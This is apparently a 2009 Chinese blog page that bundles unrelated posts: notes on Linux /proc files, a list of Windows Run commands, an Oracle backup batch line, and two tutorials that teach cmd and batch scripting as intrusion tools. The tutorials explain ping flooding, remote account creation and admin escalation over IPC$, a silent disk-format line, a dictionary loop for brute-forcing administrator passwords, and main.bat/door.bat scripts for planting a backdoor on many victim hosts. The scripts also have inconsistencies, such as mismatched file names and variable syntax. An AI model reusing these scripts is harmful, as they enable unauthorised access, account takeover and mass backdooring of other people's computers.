個非常特殊的目錄。它并不存在于某個磁盤上,而是由核心在內存中產生。這個目錄用于提
供關于系統的信息。下面說明一些最重要的文件和目錄(/proc 文件系統在proc man頁中有更詳
細的說明)。
1. /proc/x
關于進程x的信息目錄,這一x是這一進程的標識號。每個進程在/proc 下有一個名為自
己進程號的目錄。
2. /proc/cpuinfo
存放處理器( c p u )的信息,如c p u的類型、制造商、型號和性能等。
3. /proc/devices
當前運行的核心配置的設備驅動的列表。
4. /proc/dma
顯示當前使用的d m a通道。
5. /proc/filesystems
核心配置的文件系統信息。
6. /proc/interrupts
顯示被占用的中斷信息和占用者的信息,以及被占用的數量。
7. /proc/ioports
當前使用的i / o端口。
8. /proc/kcore
系統物理內存映像。與物理內存大小完全一樣,然而實際上沒有占用這么多內存;它僅
僅是在程序訪問它時才被創建。(注意:除非你把它拷貝到什么地方,否則/proc 下沒有任何
東西占用任何磁盤空間。)
9. /proc/kmsg
核心輸出的消息。也會被送到s y s l o g。
10. /proc/ksyms
核心符號表。
11. /proc/loadavg
系統“平均負載”; 3個沒有意義的指示器指出系統當前的工作量。
12. /proc/meminfo
各種存儲器使用信息,包括物理內存和交換分區( s w a p )。
13. /proc/modules
存放當前加載了哪些核心模塊信息。
14. /proc/net
網絡協議狀態信息。
15. /proc/self
存放到查看/proc 的程序的進程目錄的符號連接。當2個進程查看/proc 時,這將會是不同
的連接。這主要便于程序得到它自己的進程目錄。
16. /proc/stat
系統的不同狀態,例如,系統啟動后頁面發生錯誤的次數。
17. /proc/uptime
系統啟動的時間長度。
18. /proc/version
核心版本。
posted @
2009-03-11 10:13 moonandsun 閱讀(158) |
評論 (0) |
編輯 收藏
必須掌握的八個【cmd 命令行】
一,ping
它是用來檢查網絡是否通暢或者網絡連接速度的命令。作為一個生活在網絡上的管理員或者黑客來說,ping命令是第一個必須掌握的DOS命令,它所利用的原理是這樣的:網絡上的機器都有唯一確定的IP地址,我們給目標IP地址發送一個數據包,對方就要返回一個同樣大小的數據包,根據返回的數據包我們可以確定目標主機的存在,可以初步判斷目標主機的操作系統等。下面就來看看它的一些常用的操作。先看看幫助吧,在DOS窗口中鍵入:ping /? 回車,。所示的幫助畫面。在此,我們只掌握一些基本的很有用的參數就可以了(下同)。
-t 表示將不間斷向目標IP發送數據包,直到我們強迫其停止。試想,如果你使用100M的寬帶接入,而目標IP是56K的小貓,那么要不了多久,目標IP就因為承受不了這么多的數據而掉線,呵呵,一次攻擊就這么簡單的實現了。
-l 定義發送數據包的大小,默認為32字節,我們利用它可以最大定義到65500字節。結合上面介紹的-t參數一起使用,會有更好的效果哦。
-n 定義向目標IP發送數據包的次數,默認為3次。如果網絡速度比較慢,3次對我們來說也浪費了不少時間,因為現在我們的目的僅僅是判斷目標IP是否存在,那么就定義為一次吧。
說明一下,如果-t 參數和 -n參數一起使用,ping命令就以放在后面的參數為標準,比如"ping IP -t -n 3",雖然使用了-t參數,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主機域名,這樣就可以得到主機的IP。
下面我們舉個例子來說明一下具體用法。
這里time=2表示從發出數據包到接受到返回數據包所用的時間是2秒,從這里可以判斷網絡連接速度的大小 。從TTL的返回值可以初步判斷被ping主機的操作系統,之所以說"初步判斷"是因為這個值是可以修改的。這里TTL=32表示操作系統可能是win98。
(小知識:如果TTL=128,則表示目標主機可能是Win2000;如果TTL=250,則目標主機可能是Unix)
至于利用ping命令可以快速查找局域網故障,可以快速搜索最快的QQ服務器,可以對別人進行ping攻擊……這些就靠大家自己發揮了。
二,nbtstat
該命令使用TCP/IP上的NetBIOS顯示協議統計和當前TCP/IP連接,使用這個命令你可以得到遠程主機的NETBIOS信息,比如用戶名、所屬的工作組、網卡的MAC地址等。在此我們就有必要了解幾個基本的參數。
-a 使用這個參數,只要你知道了遠程主機的機器名稱,就可以得到它的NETBIOS信息(下同)。
-A 這個參數也可以得到遠程主機的NETBIOS信息,但需要你知道它的IP。
-n 列出本地機器的NETBIOS信息。
當得到了對方的IP或者機器名的時候,就可以使用nbtstat命令來進一步得到對方的信息了,這又增加了我們入侵的保險系數。
三,netstat
這是一個用來查看網絡狀態的命令,操作簡便功能強大。
-a 查看本地機器的所有開放端口,可以有效發現和預防木馬,可以知道機器所開的服務等信息,如圖4。
這里可以看出本地機器開放有FTP服務、Telnet服務、郵件服務、WEB服務等。用法:netstat -a IP。
-r 列出當前的路由信息,告訴我們本地機器的網關、子網掩碼等信息。用法:netstat -r IP。
四,tracert
跟蹤路由信息,使用此命令可以查出數據從本地機器傳輸到目標主機所經過的所有途徑,這對我們了解網絡布局和結構很有幫助。如圖5。
這里說明數據從本地機器傳輸到192.168.0.1的機器上,中間沒有經過任何中轉,說明這兩臺機器是在同一段局域網內。用法:tracert IP。
五,net
這個命令是網絡命令中最重要的一個,必須透徹掌握它的每一個子命令的用法,因為它的功能實在是太強大了,這簡直就是 微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令,鍵入net /?回車如圖6。
在這里,我們重點掌握幾個入侵常用的子命令。
net view
使用此命令查看遠程主機的所以共享資源。命令格式為net view \IP。
net use
把遠程主機的某個共享資源影射為本地盤符,圖形界面方便使用,呵呵。命令格式為net use x: \IP\sharename。上面一個表示把192.168.0.5IP的共享名為magic的目錄影射為本地的Z盤。下面表示和192.168.0.7建立IPC$連接(net use \IP\IPC$ "password" /user:"name"),
建立了IPC$連接后,呵呵,就可以上傳文件了:copy nc.exe \192.168.0.7\admin$,表示把本地目錄下的nc.exe傳到遠程主機,結合后面要介紹到的其他DOS命令就可以實現入侵了。
net start
使用它來啟動遠程主機上的服務。當你和遠程主機建立連接后,如果發現它的什么服務沒有啟動,而你又想利用此服務怎么辦?就使用這個命令來啟動吧。用法:net start servername,如圖9,成功啟動了telnet服務。
net stop
入侵后發現遠程主機的某個服務礙手礙腳,怎么辦?利用這個命令停掉就ok了,用法和net start同。
net user
查看和帳戶有關的情況,包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對我們入侵是很有利的,最重要的,它為我們克隆帳戶提供了前提。鍵入不帶參數的net user,可以查看所有用戶,包括已經禁用的。下面分別講解。
1,net user abcd 1234 /add,新建一個用戶名為abcd,密碼為1234的帳戶,默認為user組成員。
2,net user abcd /del,將用戶名為abcd的用戶刪除。
3,net user abcd /active:no,將用戶名為abcd的用戶禁用。
4,net user abcd /active:yes,激活用戶名為abcd的用戶。
5,net user abcd,查看用戶名為abcd的用戶的情況
net localgroup
查看所有和用戶組有關的信息和進行相關操作。鍵入不帶參數的net localgroup即列出當前所有的用戶組。在入侵過程中,我們一般利用它來把某個帳戶提升為administrator組帳戶,這樣我們利用這個帳戶就可以控制整個遠程主機了。用法:net localgroup groupname username /add。
現在我們把剛才新建的用戶abcd加到administrator組里去了,這時候abcd用戶已經是超級管理員了,呵呵,你可以再使用net user abcd來查看他的狀態,和圖10進行比較就可以看出來。但這樣太明顯了,網管一看用戶情況就能漏出破綻,所以這種方法只能對付菜鳥網管,但我們還得知道。現在的手段都是利用其他工具和手段克隆一個讓網管看不出來的超級管理員,這是后話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。
net time
這個命令可以查看遠程主機當前的時間。如果你的目標只是進入到遠程主機里面,那么也許就用不到這個命令了。但簡單的入侵成功了,難道只是看看嗎?我們需要進一步滲透。這就連遠程主機當前的時間都需要知道,因為利用時間和其他手段(后面會講到)可以實現某個命令和程序的定時啟動,為我們進一步入侵打好基礎。用法:net time \IP。
六,at
這個命令的作用是安排在特定日期或時間執行某個特定的命令和程序(知道net time的重要了吧?)。當我們知道了遠程主機的當前時間,就可以利用此命令讓其在以后的某個時間(比如2分鐘后)執行某個程序和命令。用法:at time command \computer。
表示在6點55分時,讓名稱為a-01的計算機開啟telnet服務(這里net start telnet即為開啟telnet服務的命令)。
七,ftp
大家對這個命令應該比較熟悉了吧?網絡上開放的ftp的主機很多,其中很大一部分是匿名的,也就是說任何人都可以登陸上去。現在如果你掃到了一臺開放ftp服務的主機(一般都是開了21端口的機器),如果你還不會使用ftp的命令怎么辦?下面就給出基本的ftp命令使用方法。
首先在命令行鍵入ftp回車,出現ftp的提示符,這時候可以鍵入"help"來查看幫助(任何DOS命令都可以使用此方法查看其幫助)。
大家可能看到了,這么多命令該怎么用?其實也用不到那么多,掌握幾個基本的就夠了。
首先是登陸過程,這就要用到open了,直接在ftp的提示符下輸入"open 主機IP ftp端口"回車即可,一般端口默認都是21,可以不寫。接著就是輸入合法的用戶名和密碼進行登陸了,這里以匿名ftp為例介紹。
用戶名和密碼都是ftp,密碼是不顯示的。當提示**** logged in時,就說明登陸成功。這里因為是匿名登陸,所以用戶顯示為Anonymous。
接下來就要介紹具體命令的使用方法了。
dir 跟DOS命令一樣,用于查看服務器的文件,直接敲上dir回車,就可以看到此ftp服務器上的文件。
cd 進入某個文件夾。
get 下載文件到本地機器。
put 上傳文件到遠程服務器。這就要看遠程ftp服務器是否給了你可寫的權限了,如果可以,呵呵,該怎么 利用就不多說了,大家就自由發揮去吧。
delete 刪除遠程ftp服務器上的文件。這也必須保證你有可寫的權限。
bye 退出當前連接。
quit 同上。
八,telnet
功能強大的遠程登陸命令,幾乎所有的入侵者都喜歡用它,屢試不爽。為什么?它操作簡單,如同使用自己的機器一樣,只要你熟悉DOS命令,在成功以administrator身份連接了遠程機器后,就可以用它來干你想干的一切了。下面介紹一下使用方法,首先鍵入telnet回車,再鍵入help查看其幫助信息。
然后在提示符下鍵入open IP回車,這時就出現了登陸窗口,讓你輸入合法的用戶名和密碼,這里輸入任何密碼都是不顯示的。
當輸入用戶名和密碼都正確后就成功建立了telnet連接,這時候你就在遠程主機上具有了和此用戶一樣的權限,利用DOS命令就可以實現你想干的事情了。這里我使用的超級管理員權限登陸的。
到這里為止,網絡DOS命令的介紹就告一段落了,這里介紹的目的只是給菜鳥網管一個印象,讓其知道熟悉和掌握網絡DOS命令的重要性。其實和網絡有關的DOS命令還遠不止這些,這里只是拋磚引玉,希望能對廣大菜鳥網管有所幫助。學好DOS對當好網管有很大的幫助,特別的熟練掌握了一些網絡的DOS命令。
另外大家應該清楚,任何人要想進入系統,必須得有一個合法的用戶名和密碼(輸入法漏洞差不多絕跡了吧),哪怕你拿到帳戶的只有一個很小的權限,你也可以利用它來達到最后的目的。所以堅決消滅空口令,給自己的帳戶加上一個強壯的密碼,是最好的防御弱口令入侵的方法。
最后,由衷的說一句,培養良好的安全意識才是最重要的。
=========================================
開始→運行→命令集錦
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構(WMI)
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板
winmsd---------系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶局域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------打開控制臺
mobsync--------同步命令
dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁盤碎片整理程序
diskmgmt.msc---磁盤管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網絡管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查接口
syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
sndrec32-------錄音機
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控制程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介(安裝完成后出現的漫游xp程序)
taskmgr--------任務管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器
packager-------對象包裝程序
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件運行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盤檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字符映射表
cliconfg-------SQL SERVER 客戶端網絡實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算機管理
cleanmgr-------垃圾整理
ciadv.msc------索引服務程序
osk------------打開屏幕鍵盤
odbcad32-------ODBC數據源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本機用戶和組
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共享文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
posted @
2009-03-09 22:33 moonandsun 閱讀(204) |
評論 (0) |
編輯 收藏
對Oracle了解不是很多,很大程度上只停留在簡單使用的層面上,至于Oracle備份問題更是涉足不深。但畢竟項目要做,數據庫要維護和備份,下面簡述一下現階段我對數據庫(oracle)的備份。雖然該方法不是很好,但我認為能在一定意義上解決一定問題。當然,強烈希望高人看到此貼后能留下你的經典備份之作,不勝感激。
首先你需要對oracle數據庫導入導出命令有所了解。
下面是一段批處理命令,用于數據庫備份,最終文件備份格式:2009-03-07.dmp ("2009-03-07"為當天日期)
for /F "usebackq delims= " %%i IN (`date /t`) DO exp system/manager@orcl file=E:\%%i.dmp

然后調用win的任務計劃,按照需要調用該批處理即可。
posted @
2009-03-07 10:33 moonandsun 閱讀(623) |
評論 (0) |
編輯 收藏
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。
2.@ 命令
表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先級類別開始應用程序
REALTIME 在 REALTIME 優先級類別開始應用程序
WAIT 啟動應用程序并等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最后都以goto end將程序跳到end標號處,然后程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字符串" 待執行的命令
參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 后沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取并經過處理。
處理包括讀取文件,將其分成一行行的文字,然后將每行
解析成零或更多的符號。然后用已找到的符號字符串變量值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字符串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變量名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字符串中的最后一個字符星號,
那么額外的變量將在最后一個符號解析之
分配并接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個后引號的字符串并且
引號字符為文字字符串命令并允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號后的所有剩余符號。對于帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高于字母 z 或
Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字符
串會被當作一個文件中的一個單一輸入行。
最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字符串。該字符串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,并被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變量名稱。
另外,FOR 變量參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變量的目錄,并將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變量
未被定義,或者沒有找到文件,此組合鍵會擴充
空字符串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變量的目錄,并將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然后將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機,并echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
posted @
2009-03-07 10:02 moonandsun 閱讀(167) |
評論 (0) |
編輯 收藏